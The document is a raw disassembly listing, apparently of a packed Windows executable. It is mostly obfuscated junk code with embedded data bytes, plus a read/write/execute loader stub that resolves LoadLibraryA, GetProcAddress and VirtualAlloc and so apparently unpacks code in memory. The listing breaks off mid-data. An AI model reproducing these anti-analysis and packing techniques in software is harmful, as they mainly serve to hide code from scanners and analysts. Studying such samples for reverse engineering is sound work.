.XComp0:00609852j movzx ecx, bx mov di, si jmp loc_609876 ; --------------------------------------------------------------------------- db 4 dd 0BADCD3B3h, 295E258Eh db 0B8h, 6Ah ; --------------------------------------------------------------------------- loc_609876: ; CODE XREF: .XComp0:00609866j stc mov dh, 7Ch push ebx movzx ecx, dx pop eax and di, 8A11h push esi jmp loc_60989C ; --------------------------------------------------------------------------- pminub mm0, qword ptr [ebx-6B4622C6h] add al, 0D9h push edx add cl, [edx+ebx*8-134F395Eh] aas xchg eax, esi loc_60989C: ; CODE XREF: .XComp0:00609884j pop ecx movzx esi, bx xor dx, 7089h mov bx, di mov cx, 6AC9h or ax, 0C90Eh jb loc_6098BA mov ax, di loc_6098BA: ; CODE XREF: .XComp0:006098B1j and ecx, 1E453588h stc push edx jmp loc_6098D9 ; --------------------------------------------------------------------------- db 0EBh db 0CCh db 74h, 45h, 0A8h dd 0EA601B50h, 795E35B8h, 3AE6EBBFh db 22h ; --------------------------------------------------------------------------- loc_6098D9: ; CODE XREF: .XComp0:006098C2j pop ebx jmp loc_6098F2 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- dd 0C11ED247h, 0E0B1C2E2h, 96A7E4F3h, 191AB31Dh ; --------------------------------------------------------------------------- aad 0C3h loc_6098F2: ; CODE XREF: .XComp0:006098DAj movzx ebx, cx movsx ebx, dx mov ecx, edx jmp loc_60990A ; --------------------------------------------------------------------------- db 0F4h dd 0CCDEE026h, 0E03E1EF9h ; --------------------------------------------------------------------------- xchg bh, dh loc_60990A: ; CODE XREF: .XComp0:006098FAj stc xor di, 5184h mov edi, ebx call sub_609922 inc esp push 25h repne mov eax, 846F05EDh add al, 49h ; =============== S U B R O U T I N E ======================================= sub_609922 proc near ; CODE XREF: .XComp0:00609912p jnb loc_60992D mov ecx, 69A47A9Fh loc_60992D: ; CODE XREF: sub_609922j pop ecx pusha jmp loc_60993A ; --------------------------------------------------------------------------- dd 0F707DDD0h db 0C2h, 0B4h ; --------------------------------------------------------------------------- loc_60993A: ; CODE XREF: sub_609922+Dj cld popa mov di, 98A2h call sub_609951 cmp al, 48h call far ptr 2B61h:0CB1B6DFh db 65h mov dl, 50h sub_609922 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_609951 proc near ; CODE XREF: sub_609922+1Ep and dh, 65h pop ecx jbe loc_60995F mov bx, 1D5Dh loc_60995F: ; CODE XREF: sub_609951+4j jb loc_609967 mov bl, al loc_609967: ; CODE XREF: sub_609951:loc_60995Fj adc ecx, 97E5C0Ah mov dx, di mov dx, cx stc add edx, 58833D9Bh jmp loc_60998B ; --------------------------------------------------------------------------- align 10h dd 17916F98h, 0B4559372h db 4, 0F9h, 26h ; --------------------------------------------------------------------------- loc_60998B: ; CODE XREF: sub_609951+29j pusha pusha mov ebx, edi or ah, 0F1h popa sbb eax, 76CE4D6Ch popa pusha mov ch, 72h adc cx, 966Eh popa mov ebx, 30DA60E2h jnb loc_6099BD jmp loc_6099BD ; --------------------------------------------------------------------------- db 67h dd 0EE6E4679h, 986D7434h db 0A2h ; --------------------------------------------------------------------------- loc_6099BD: ; CODE XREF: sub_609951+57j ; sub_609951+5Dj push esi movsx ebx, dx pop edx jmp loc_6099D4 ; --------------------------------------------------------------------------- db 12h dd 0ED3F4923h, 0ECAC68B2h, 61148EBBh ; --------------------------------------------------------------------------- loc_6099D4: ; CODE XREF: sub_609951+71j pusha push esi mov esi, 7559D0C9h pop edx mov eax, ebx popa jmp loc_6099F7 ; --------------------------------------------------------------------------- dd 2C38FDECh, 179745CDh, 0DCC0E028h, 5513411h db 9Bh, 0F5h, 89h ; --------------------------------------------------------------------------- loc_6099F7: ; CODE XREF: sub_609951+8Ej mov dx, bx and cl, 0B8h mov ax, 0BBF6h sbb dl, 6Dh jmp loc_609A1D ; --------------------------------------------------------------------------- db 85h, 0BAh, 3Dh dd 0F024283Bh, 5B5C7405h, 0DA97A265h, 65E62CBBh db 0Fh ; --------------------------------------------------------------------------- loc_609A1D: ; CODE XREF: sub_609951+B3j jnp loc_609A3E call sub_609A37 movsd les ebx, ds:41683D29h sti jmp far ptr 29D3h:6EE57C01h sub_609951 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_609A37 proc near ; CODE XREF: sub_609951+D2p or eax, 5774E587h pop esi loc_609A3E: ; CODE XREF: sub_609951:loc_609A1Dj and dl, 14h jmp loc_609A4C ; --------------------------------------------------------------------------- dw 7F30h dd 85D7E423h ; --------------------------------------------------------------------------- loc_609A4C: ; CODE XREF: sub_609A37+Aj call sub_609A61 fbstp tbyte ptr [ecx-1BD40505h] lahf cmp eax, edx shl ah, 1 mov ds:7AAA2B60h, al sub_609A37 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_609A61 proc near ; CODE XREF: sub_609A37:loc_609A4Cp jmp sub_609A79 sub_609A61 endp ; --------------------------------------------------------------------------- dw 0BAF3h dd 4CC0709Bh, 4EEA6669h, 5BF6103Eh, 5773CF67h db 0BCh ; =============== S U B R O U T I N E ======================================= sub_609A79 proc near ; CODE XREF: sub_609A61j pop ebx mov si, cx mov cx, di movzx eax, di js loc_609A8A clc loc_609A8A: ; CODE XREF: sub_609A79+Aj sub dx, 5144h mov ebx, edx clc jmp loc_609A9E ; --------------------------------------------------------------------------- mov cl, 20h mov ecx, 0F6A116F1h loc_609A9E: ; CODE XREF: sub_609A79+19j sbb ch, 5Fh jmp loc_609AAD ; --------------------------------------------------------------------------- dw 0E626h dd 2AC3E38Fh db 0D3h ; --------------------------------------------------------------------------- loc_609AAD: ; CODE XREF: sub_609A79+28j and ax, 3310h cld jo loc_609ABF pusha push edx pop ecx push ebx pop ebx popa loc_609ABF: ; CODE XREF: sub_609A79+3Aj add eax, 271EAE9h call near ptr loc_609ADC+2 loc_609ACA: ; CODE XREF: sub_609A79:loc_609ACAj jz short loc_609ACA movsb sub esi, esi mov dl, 0C3h imul esi, [ebx+esi], -33h rcr byte ptr [ecx+ebx*8+7Ah], cl xor dl, 1Fh loc_609ADC: ; CODE XREF: sub_609A79+4Cp sub [eax+850F60h], bh sub_609A79 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 0 dd 0CE816600h, 5B612E6Ah, 0CE8h, 0EA3EC800h, 0D5962F76h dd 9E3B5BEAh, 0FEB70F9Eh, 0C18B6658h, 0FE8h, 80185D00h dd 976CD27Dh, 721971F4h, 15695D55h, 5EF6B70Fh, 7E9h, 0EFE79400h dd 0F5B5E47h, 7E8F5h, 0BC910000h, 4607B67Dh, 830F57DCh dd 0 ; --------------------------------------------------------------------------- pop ebx pop ebx movsx eax, bx clc pusha mov di, 913h mov edx, ebx popa push edi mov al, 0CFh pop ecx mov edi, 2A1FD276h jnp loc_609B5C movsx edx, di loc_609B5C: ; CODE XREF: .XComp0:00609B53j jno loc_609B65 or dh, 2Bh loc_609B65: ; CODE XREF: .XComp0:loc_609B5Cj sub edi, 7C85BBD6h or cx, 0E592h push edi pop edi jnz loc_609B7D and ax, 0A9C4h loc_609B7D: ; CODE XREF: .XComp0:00609B72j mov ch, 45h mov dx, cx or ebx, 76DB5598h movzx ebx, di jmp loc_609B96 ; --------------------------------------------------------------------------- sub cl, [ecx] pop ds stc inc dword ptr [ebx] loc_609B96: ; CODE XREF: .XComp0:00609B8Bj jle loc_609B9E mov dh, 69h loc_609B9E: ; CODE XREF: .XComp0:loc_609B96j mov dx, cx jmp loc_609BB5 ; --------------------------------------------------------------------------- dw 6517h dd 0B5E1CCE6h, 8EF8CCAFh, 13872B7Bh db 0CAh ; --------------------------------------------------------------------------- loc_609BB5: ; CODE XREF: .XComp0:00609BA1j mov cx, si jmp loc_609BCC ; --------------------------------------------------------------------------- db 65h, 6Bh, 0E6h dd 3F3210BAh, 4D512C1Ch, 0D0E18167h ; --------------------------------------------------------------------------- loc_609BCC: ; CODE XREF: .XComp0:00609BB8j push ebx pop eax jmp loc_609BE6 ; --------------------------------------------------------------------------- db 37h dd 2D0A896Dh, 0B305F9C5h, 0CBA0B182h, 12BE5334h ; --------------------------------------------------------------------------- fchs loc_609BE6: ; CODE XREF: .XComp0:00609BCEj stc mov di, 4795h js loc_609C02 call loc_609C01 push 11B8D620h js short loc_609C28 bound eax, [ebp-0Ah] inc esi loc_609C01: ; CODE XREF: .XComp0:00609BF1p pop ebx loc_609C02: ; CODE XREF: .XComp0:00609BEBj mov si, 814Ah pusha mov al, dl push edi push edi pop edx pop edx popa clc jnp $+6 jg loc_609C1D mov bl, 0BAh loc_609C1D: ; CODE XREF: .XComp0:00609C15j pusha xor al, 0E8h jle loc_609C28 clc loc_609C28: ; CODE XREF: .XComp0:00609BFBj ; .XComp0:00609C21j popa push eax sbb ah, 18h pop edi jmp loc_609C45 ; --------------------------------------------------------------------------- db 52h dd 0BA9230EEh, 0A2FF5264h, 4C7A6B79h, 7B1FBB8Bh db 6Ah ; --------------------------------------------------------------------------- loc_609C45: ; CODE XREF: .XComp0:00609C2Ej pusha mov edi, edx clc popa mov bh, 22h pusha mov al, 44h jbe loc_609C6C call sub_609C6B dec esp ; --------------------------------------------------------------------------- db 0C5h dd 0C5085EE2h, 0EC52CBD6h, 17CA55E1h db 0E5h, 97h, 0B7h ; =============== S U B R O U T I N E ======================================= sub_609C6B proc near ; CODE XREF: .XComp0:00609C55p ; FUNCTION CHUNK AT 00609CCC SIZE 00000017 BYTES pop edi loc_609C6C: ; CODE XREF: .XComp0:00609C4Fj popa sbb ecx, 40C7C2Bh pusha jmp loc_609C89 ; --------------------------------------------------------------------------- db 5Dh, 1Fh, 0EDh dd 27FD5592h, 569B5028h, 0E71C6802h db 0E7h ; --------------------------------------------------------------------------- loc_609C89: ; CODE XREF: sub_609C6B+9j xor edi, 6252211Ch popa jmp loc_609CA1 ; --------------------------------------------------------------------------- adc ds:0AFEB768Eh, ecx and bh, [edx] cmpsb or al, 6Ch dec ecx loc_609CA1: ; CODE XREF: sub_609C6B+25j jmp loc_609CB1 ; --------------------------------------------------------------------------- dw 755Ah ; --------------------------------------------------------------------------- popa xor ah, dh adc edi, [ebx] xchg eax, esi dec ecx aam 0CFh loc_609CB1: ; CODE XREF: sub_609C6B:loc_609CA1j mov ax, 47D4h ja loc_609CCC call near ptr loc_609CC7+1 push eax sbb al, 4Fh and [edi-6Ch], dh dec edx loc_609CC7: ; CODE XREF: sub_609C6B+50p loop loc_609CD8 sub_609C6B endp ; sp-analysis failed mov bh, 0F1h pop eax ; START OF FUNCTION CHUNK FOR sub_609C6B loc_609CCC: ; CODE XREF: sub_609C6B+4Aj and esi, 11434A59h call sub_609CE3 pop esp loc_609CD8: ; CODE XREF: sub_609C6B:loc_609CC7j int 3 ; Trap to Debugger pop ss pop es adc ebp, ecx fcomp dword ptr [edx-6CD8C1B1h] ; END OF FUNCTION CHUNK FOR sub_609C6B ; =============== S U B R O U T I N E ======================================= sub_609CE3 proc near ; CODE XREF: sub_609C6B+67p call sub_609CF0 push ebp mov ah, 4 stc db 26h xchg eax, ebx mov [eax], esp sub_609CE3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_609CF0 proc near ; CODE XREF: sub_609CE3p movzx edi, ax pop edx pop edi push esi mov dx, 5A5Ah pop esi jb loc_609D07 or edi, 7F568AFDh loc_609D07: ; CODE XREF: sub_609CF0+Bj call near ptr loc_609D12+1 mov ds:0D75BC68Fh, eax inc edx loc_609D12: ; CODE XREF: sub_609CF0:loc_609D07p xchg dh, [ebp+10B45B04h] sub_609CF0 endp ; sp-analysis failed push esi push esi mov edx, 13A2B985h pop edx pop esi mov bl, 4Eh movsx esi, di or edx, 69D07F25h xor ax, 4A06h clc mov dx, ax mov edi, eax mov al, 0DEh mov edi, esi jmp loc_609D46 ; --------------------------------------------------------------------------- dd 7656E725h db 83h, 0B6h ; --------------------------------------------------------------------------- loc_609D46: ; CODE XREF: .XComp0:00609D3Bj sbb dx, 0AFD8h mov di, 9F33h movsx edi, ax push eax mov esi, edi pop edi jmp loc_609D65 ; --------------------------------------------------------------------------- db 16h dd 8EBE17CDh, 0E59BD561h ; --------------------------------------------------------------------------- xchg eax, ebx loc_609D65: ; CODE XREF: .XComp0:00609D56j clc mov bx, si mov esi, 34677EB7h jl loc_609D78 mov bx, 0BB59h loc_609D78: ; CODE XREF: .XComp0:00609D6Ej mov esi, edx jle loc_609D8B jmp loc_609D8B ; --------------------------------------------------------------------------- db 0F1h, 8Eh, 32h db 9Dh, 0C8h, 84h ; --------------------------------------------------------------------------- loc_609D8B: ; CODE XREF: .XComp0:00609D7Aj ; .XComp0:00609D80j cmc mov si, ax cld jnp $+6 jmp loc_609DAA ; --------------------------------------------------------------------------- db 0C1h dd 0E3548796h, 3A9D84F6h, 0B26D96B7h db 0E8h, 7Fh ; --------------------------------------------------------------------------- loc_609DAA: ; CODE XREF: .XComp0:00609D96j movsx edi, cx jp loc_609DB9 and ebx, 7392F44Dh loc_609DB9: ; CODE XREF: .XComp0:00609DADj or edi, 5DF54642h cld cmc jmp loc_609DD1 ; --------------------------------------------------------------------------- dw 7E1Bh ; --------------------------------------------------------------------------- xor edi, edi popf mov bl, 9Ah enter 0FFFFA0ABh, 0C5h loc_609DD1: ; CODE XREF: .XComp0:00609DC1j sbb dx, 1888h and bl, 0BAh xor edi, 0D66C293h push esi mov di, 936Fh pop ebx jnb loc_609DF4 ja loc_609DF4 add bh, 0CEh loc_609DF4: ; CODE XREF: .XComp0:00609DE5j ; .XComp0:00609DEBj mov eax, ebx push ecx pop eax adc cx, 0FC4Eh pusha sub ch, 9Eh popa mov al, 50h or dh, 99h mov dh, 77h add dx, 1169h jmp loc_609E1E ; --------------------------------------------------------------------------- db 7Ah dd 0A36E7519h, 33712E7Bh db 0F8h, 0DFh ; --------------------------------------------------------------------------- loc_609E1E: ; CODE XREF: .XComp0:00609E0Ej stc mov edi, 2298F94Dh mov ecx, edi or edx, 1DA4E219h push ebx jmp loc_609E3D ; --------------------------------------------------------------------------- dw 51E2h dd 746F352Bh, 96FED67Eh ; --------------------------------------------------------------------------- xchg eax, esi loc_609E3D: ; CODE XREF: .XComp0:00609E2Dj pop edi jmp loc_609E55 ; --------------------------------------------------------------------------- db 98h dd 1E71B3E2h, 0CF97A26h, 0A315FA9h, 69E82CE5h db 0CAh ; --------------------------------------------------------------------------- loc_609E55: ; CODE XREF: .XComp0:00609E3Ej sub si, 8D3Bh jmp loc_609E65 ; --------------------------------------------------------------------------- db 47h dd 0EE663530h ; --------------------------------------------------------------------------- cld loc_609E65: ; CODE XREF: .XComp0:00609E5Aj push esi add ecx, 48D23B80h pop ebx jb loc_609E7B js loc_609E7B push esi pop ecx loc_609E7B: ; CODE XREF: .XComp0:00609E6Dj ; .XComp0:00609E73j jmp loc_609E89 ; --------------------------------------------------------------------------- dd 0FF41841Ah, 0C7BA479Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_609EB5 loc_609E88: ; CODE XREF: sub_609EB5+51j xchg eax, ecx loc_609E89: ; CODE XREF: .XComp0:loc_609E7Bj pusha mov bh, 24h popa sub esi, 214AB8B5h mov dl, 0BBh jle loc_609E9E mov si, cx loc_609E9E: ; CODE XREF: sub_609EB5-20j call sub_609EB5 push cs lock iret ; END OF FUNCTION CHUNK FOR sub_609EB5 ; --------------------------------------------------------------------------- dw 162h dd 20A6A684h, 806E4064h, 8F8E04F3h ; --------------------------------------------------------------------------- sti ; =============== S U B R O U T I N E ======================================= sub_609EB5 proc near ; CODE XREF: sub_609EB5:loc_609E9Ep ; FUNCTION CHUNK AT 00609E88 SIZE 0000001E BYTES movzx eax, bx pop edx mov bl, 6Ah mov ax, si stc adc bx, 64FFh or ecx, 7C5194F3h jmp loc_609ED9 ; --------------------------------------------------------------------------- db 0C0h dd 0E672F01Bh, 1BA061D3h db 90h ; --------------------------------------------------------------------------- loc_609ED9: ; CODE XREF: sub_609EB5+15j movsx esi, bx xor eax, 4A8A498Ch mov eax, 0AA49E11h mov di, 0B157h or di, 0E399h mov si, bx call near ptr loc_609F06+1 push edx xor ebp, gs:[ecx+ecx*4+4C3B910Bh] sbb bl, [ecx+edi*8] dec esi push ebx loc_609F06: ; CODE XREF: sub_609EB5+3Ep js short loc_609E88 sub_609EB5 endp ; sp-analysis failed loopne near ptr loc_609F0B+3 pop edx loc_609F0B: ; CODE XREF: .XComp0:00609F08j jmp loc_609F21 ; --------------------------------------------------------------------------- dd 56DAA80Fh, 0E5C42D23h, 0C6653726h, 0DCB85B71h db 0E9h ; --------------------------------------------------------------------------- loc_609F21: ; CODE XREF: .XComp0:loc_609F0Bj mov ecx, 1ED1D257h and cl, 52h and ah, 20h sbb eax, 2D131E12h jmp loc_609F3E ; --------------------------------------------------------------------------- movsd mov word ptr [edi+55h], es push eax scasb das loc_609F3E: ; CODE XREF: .XComp0:00609F32j sub edi, 74AACAB9h or dl, 55h jp loc_609F66 jmp loc_609F66 ; --------------------------------------------------------------------------- dw 0AFE5h dd 0EE229B7Ch, 0FC7EDAC0h, 3B888B8Bh, 70BE41B5h db 6Dh, 0DCh ; --------------------------------------------------------------------------- loc_609F66: ; CODE XREF: .XComp0:00609F47j ; .XComp0:00609F4Dj sub eax, 54F4B117h cmc cmc jmp loc_609F7F ; --------------------------------------------------------------------------- test [edx+0D95CA43h], eax retf 243Fh ; --------------------------------------------------------------------------- db 29h, 76h, 0ECh ; --------------------------------------------------------------------------- loc_609F7F: ; CODE XREF: .XComp0:00609F6Ej mov ch, 0E7h jb loc_609F89 mov ecx, eax loc_609F89: ; CODE XREF: .XComp0:00609F81j adc esi, 629D4F08h mov bh, dh mov cl, 7Eh jb loc_609FA7 jmp loc_609FA7 ; --------------------------------------------------------------------------- dw 34FEh dd 236542C4h db 8Ah, 0DEh, 76h ; --------------------------------------------------------------------------- loc_609FA7: ; CODE XREF: .XComp0:00609F93j ; .XComp0:00609F99j pusha sub bl, 61h mov ah, dl popa mov dl, bl pusha mov cx, bx mov ch, bh popa mov ecx, eax call sub_609FCA pop ebp retn ; --------------------------------------------------------------------------- dd 303C2F7Ch, 0C01A6810h ; --------------------------------------------------------------------------- push esi leave ; =============== S U B R O U T I N E ======================================= sub_609FCA proc near ; CODE XREF: .XComp0:00609FB9p mov dl, 0E7h pop eax jb loc_609FD4 stc loc_609FD4: ; CODE XREF: sub_609FCA+3j jmp loc_609FDE ; --------------------------------------------------------------------------- db 99h, 0EDh, 5Ch db 0C2h, 5Bh ; --------------------------------------------------------------------------- loc_609FDE: ; CODE XREF: sub_609FCA:loc_609FD4j cld push esi cld pop edx mov edi, 1F884D61h xor cx, 98E1h call near ptr loc_609FF4+2 xlat mov cl, 63h loc_609FF4: ; CODE XREF: sub_609FCA+22p cmovns ebp, eax sub_609FCA endp ; sp-analysis failed add eax, 0BE000000h jno short near ptr loc_60A020+1 loc_609FFE: ; CODE XREF: .XComp0:0060A06Aj db 36h push cs mov edx, 7C43C6DAh pop ecx pop eax jl loc_60A017 jge loc_60A017 mov bx, 8638h loc_60A017: ; CODE XREF: .XComp0:0060A007j ; .XComp0:0060A00Dj mov ax, 25DAh call sub_60A026 loc_60A020: ; CODE XREF: .XComp0:00609FFCj shr al, cl lahf fbld tbyte ptr [ebp+3Eh] ; =============== S U B R O U T I N E ======================================= sub_60A026 proc near ; CODE XREF: .XComp0:0060A01Bp mov di, dx pop ecx mov bh, 35h sub cx, 80A6h push edi push ebx movsx esi, ax pop ecx pop eax movsx edx, bx ja $+6 or bx, 0DE26h call near ptr loc_60A04F+3 inc esp push ss jle short $+2 loc_60A04F: ; CODE XREF: sub_60A026+20p adc [eax+5BCAB2EFh], bl sub_60A026 endp ; sp-analysis failed push edx jz near ptr loc_60A06D+2 call near ptr loc_60A06D+1 dec edx db 2Eh xchg eax, edx pop eax out 19h, al leave setalc daa jnp short loc_609FFE inc ebx loc_60A06D: ; CODE XREF: .XComp0:0060A05Cp ; .XComp0:0060A056j ficomp dword ptr [edi+58h] jmp loc_60A085 ; --------------------------------------------------------------------------- cmp al, 0Ch add ah, 80h imul edx, [edx], 0CB7E636Ah mov edx, 4A9A6503h loc_60A085: ; CODE XREF: .XComp0:0060A070j mov dl, 0CBh movsx ebx, cx push ecx pop ebx mov ebx, 57060454h mov ebx, 7C40B29Ah jnp loc_60A0B2 jmp loc_60A0B2 ; --------------------------------------------------------------------------- db 0Fh, 0E8h, 0B2h dd 0CD488595h, 0CAA0AA89h, 719F7AF4h db 52h, 2Ah ; --------------------------------------------------------------------------- loc_60A0B2: ; CODE XREF: .XComp0:0060A096j ; .XComp0:0060A09Cj jle loc_60A0D1 call near ptr loc_60A0CB+3 fdiv st(5), st test al, 0F8h cli mov cl, [edi] xchg eax, esi cmc db 26h inc edi fistp word ptr [ebp+7Bh] loc_60A0CB: ; CODE XREF: .XComp0:0060A0B8p adc ds:5F616097h, cl loc_60A0D1: ; CODE XREF: .XComp0:loc_60A0B2j mov si, 9C07h jmp loc_60A0E4 ; --------------------------------------------------------------------------- sub al, 0D8h and ecx, [edi+68CB9446h] dec edi pushf loc_60A0E4: ; CODE XREF: .XComp0:0060A0D5j jp $+6 jmp loc_60A0FA ; --------------------------------------------------------------------------- db 0A0h dd 1106ABF6h, 936DF13Eh db 3Eh, 3 ; --------------------------------------------------------------------------- loc_60A0FA: ; CODE XREF: .XComp0:0060A0EAj pusha call near ptr sub_60A107 arpl [esi], sp aad 0FAh inc ebp push ds push edx ; =============== S U B R O U T I N E ======================================= sub_60A107 proc far ; CODE XREF: .XComp0:0060A0FBp ; FUNCTION CHUNK AT 0060A17E SIZE 00000002 BYTES mov si, 57D2h pop ebx jmp loc_60A125 ; --------------------------------------------------------------------------- retf 0E519h ; --------------------------------------------------------------------------- dd 1A88B479h, 0F55082E0h, 38F2A5B0h, 209E853Bh db 0ECh ; --------------------------------------------------------------------------- loc_60A125: ; CODE XREF: sub_60A107+5j popa mov edi, 7FD30C46h and dh, 7Bh mov di, 0F868h call near ptr loc_60A143+3 jp short loc_60A17E sahf pusha pop ss jnp short nullsub_2 push cs outsd aaa in al, 0EBh loc_60A143: ; CODE XREF: sub_60A107+2Bp adc eax, 0F5FDC33h sub_60A107 endp ; sp-analysis failed mov word ptr [eax], ds ; --------------------------------------------------------------------------- dw 0 dd 128D0F00h, 0E9000000h, 0Dh, 0A02996DBh, 62563BD3h ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0D7h dd 0B452FCBEh, 81F95839h, 171124F2h, 6EEA812Bh, 0BF29921Dh dd 2C8055F1h db 0Fh, 8Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_60A107 loc_60A17E: ; CODE XREF: sub_60A107+30j add eax, [eax] ; END OF FUNCTION CHUNK FOR sub_60A107 ; --------------------------------------------------------------------------- dd 8B660000h, 2FCA81D1h, 0B07BDCBDh, 0C1816052h, 21AD4C72h dd 0FFB70F61h, 0CE8h, 6A6B4900h, 0AF4A1B42h, 0FEBD05CBh dd 0FE833h, 0D24D0000h, 85AB8BDCh, 9C487E8Eh, 43DA4FF6h dd 5E6160A2h, 0C8D0F5Eh, 0F000000h, 68Ah, 830F00h, 0BB000000h dd 132BE9Ah, 0DE9h, 0C9F9F00h, 0D0F64717h, 6DD4B708h, 13E9C9F8h dd 77000000h, 82333372h, 97EF7731h, 97B5D9C1h, 0DBCF5F87h dd 8B665B1Fh, 6E9C7h, 0F6750000h, 0AE1FB36h, 13E8h, 0BFAEA000h dd 40D678F6h, 0D165A8E0h, 78392856h, 91B49083h, 57F0B966h dd 8B66605Eh, 61C38ACEh, 11E9h, 5D8A2000h, 9D7C59F8h, 0BD305FA2h dd 869FD9BBh, 7E99FC3h, 90000000h, 0E5FE170Dh, 0B70FAA98h dd 0F321BAFEh, 0F600D97h, 388h, 0D2BF0F00h, 0EE961h, 217D0000h dd 0AFAD7241h, 47EA49F4h, 0D22E8A13h, 68D0F60h, 0F000000h dd 80h, 0D6B70F00h, 0F5F88B61h, 8BC1BF0Fh, 0F08B66FBh dd 88C0Fh, 0F510000h, 84h, 0E0805800h, 178A0FEFh, 0E9000000h dd 12h, 0C2D31900h, 6C6E34F8h, 0E72E9913h, 79EC8A99h, 0BA6630CDh dd 860F064Ch, 0Ah, 4860Fh, 0BE660000h, 8A0F8E7Fh, 8, 2860Fh dd 0F4B40000h, 7E9h, 47E33300h, 44395C32h, 7E9h, 0B23FE800h dd 68583492h, 67B3BB66h, 1C3AADB8h, 81665114h, 5B44CCCFh dd 9E9h, 0C35E3F00h, 7739C177h, 0BE662B67h, 6660502Fh dd 1FAFF381h, 1CF4EB81h, 0F614CC2h, 8Ch, 0D181F900h, 63939F49h dd 0E9F3BF0Fh, 7, 0FD72F1DDh, 0FBF5B6Eh, 387h, 0DEB70F00h dd 10E9F5h, 0B60E0000h, 0FC63F092h, 23205BEh, 38684EACh dd 0AE99571h, 62000000h, 9E657Fh, 3B4A3F70h, 0FA9BB8Fh dd 11E87635h, 92000000h, 17F7426Eh, 83F80788h, 0F36EC510h dd 6E98D91Ah, 81665FF5h, 81CB7FF0h, 0EF07DDC8h, 0C7816041h dd 0CE3175Ch, 61D9B70Fh, 21DB81FCh, 8108421Ah, 0FA2E7BDBh dd 0AE97Eh, 0E7970000h, 0E3315638h, 40E9BCBDh, 7E852h dd 0F5570000h, 939EF62Dh, 0E0816661h, 58587855h, 8217B866h dd 6653C68Bh, 595D84B9h, 0CE8h, 1FD00300h, 171AE926h, 0B032B335h dd 118D0F38h, 0E9000000h, 0Ch, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch dd 0B851605Fh, 46B86C1Fh, 61A0B658h, 0F83DD80h, 780h, 0C6B85300h dd 5E160B2Dh, 0FFB70F60h, 2890F61h, 8B000000h, 30B866D3h dd 0E1BA664Fh, 1AF180D7h, 2840F60h, 56000000h, 14E85Eh dd 30660000h, 29DCF81Ah, 131B317Eh, 3D71501Eh, 0C985FC60h dd 5E953CAh, 1F000000h, 81D7F066h, 7EBB615Eh, 0F6934DCh dd 168Dh, 10E800h, 2CCE0000h, 92EBDB8Bh, 120D6DD3h, 69DB7146h dd 0E9592D2Bh, 6, 6B14A879h, 93B1ED97h, 94C081F5h, 0E910246Ah dd 0Fh, 0B4A45B3Dh, 1780B235h, 0F50F3F9Bh, 0FD3E57D5h dd 3FEh dup(0FDAB3861h), 0D3D4AD61h, 284h dup(0D3D4AD9Dh) dd 0E7D4AD9Dh, 9 dup(0E7BA08F1h), 63BA08F1h, 68h dup(63C66EC1h) dd 65h dup(8EECDB64h), 0E1322364h, 130h dup(0E132237Fh) dd 98C5AB7Fh, 21Eh dup(98C5AB67h), 954h dup(0CCCCCCCCh) dd 0CCCCCCh, 2D1h dup(0) _XComp0 ends ; Section 2. (virtual address 00210000) ; Virtual size : 000076A6 ( 30374.) ; Section size in file : 000076A6 ( 30374.) ; Offset to raw data for section: 00210000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _XComp segment para public 'CODE' use32 assume cs:_XComp ;org 610000h assume es:nothing, ss:nothing, ds:_XComp0, fs:nothing, gs:nothing dd 4EE01468h, 0E8609C00h, 675h, 210034h, 2 dup(0) aL4: unicode 0, <L!4!>,0 align 4 dd 4 dup(0) dd 7C80ADA0h dword_610038 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA dd 7C809A51h, 7C809AE4h, 7C801AD0h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 64616F4Ch, 7262694Ch, 41797261h dd 56000000h, 75747269h, 6C416C61h, 636F6Ch, 69560000h dd 61757472h, 6572466Ch, 65h, 74726956h, 506C6175h, 65746F72h dd 5B007463h, 3B835Dh, 0C8850Fh, 89FC0000h, 0C4B8B1Bh dd 0D1FFC033h, 0E3104B8Bh, 0C0335152h, 3B147B8Dh, 3730447h dd 8304478Bh, 0F3E208C7h, 0C1CD805h, 68046A00h, 1000h dd 0FF006A50h, 908D3055h, 0C1CD8h, 59147B8Dh, 8B60378Bh dd 0FA8B044Fh, 5061A4F3h, 0EAE85652h, 83000000h, 0E8E208C7h dd 800068h, 50006A00h, 8B3455FFh, 0C38B0C4Bh, 738BD1FFh dd 74F68508h, 0C4E8B39h, 0FF5134E3h, 0C0852C55h, 3894F74h dd 8B107E8Bh, 0F71EE30Fh, 0C1h, 3077580h, 4141044Bh, 0E18106EBh dd 7FFFFFFFh, 0FF33FF51h, 0EBAB2855h, 14C683DEh, 438BC7EBh dd 147B8D10h, 0ADC7348Dh, 5013E391h, 5051C48Bh, 92AD206Ah dd 0FF5250ADh, 0E2593855h, 9D6158EFh, 54EC83C3h, 768BFC8Bh dd 0ACD78B0Ch, 374C084h, 0E8F8EBAAh, 0Bh, 746F6E20h, 756F6620h dd 5E00646Eh, 0C084AAACh, 6AFA75h, 6A5257h, 6E8h, 72724500h dd 5E00726Fh, 0C084AAACh, 0BE8FA75h, 55000000h, 33524553h dd 4C442E32h, 55FF004Ch, 0CE82Ch, 654D0000h, 67617373h dd 786F4265h, 0FF500041h, 0D0FF2855h, 487CC483h, 2CC8C3h dd 5D8B6000h, 8D038B0Ch, 89048344h, 3353F845h, 0FC4589C0h dd 89F44589h, 4589F045h, 4589400Ch, 0E84589ECh, 89E44589h dd 7D8BD845h, 400B810h, 36B90000h, 0F3000307h, 5A056AABh dd 3BEE8h, 0F8754A00h, 8B58FF6Ah, 4D8BF075h, 10558BF4h dd 0C103E683h, 0CE0304E1h, 0E88A148Dh, 3B9h, 0D6830Fh dd 0D0E80000h, 0F000003h, 69FC4DB6h, 0C00C9h, 8BDB3300h dd 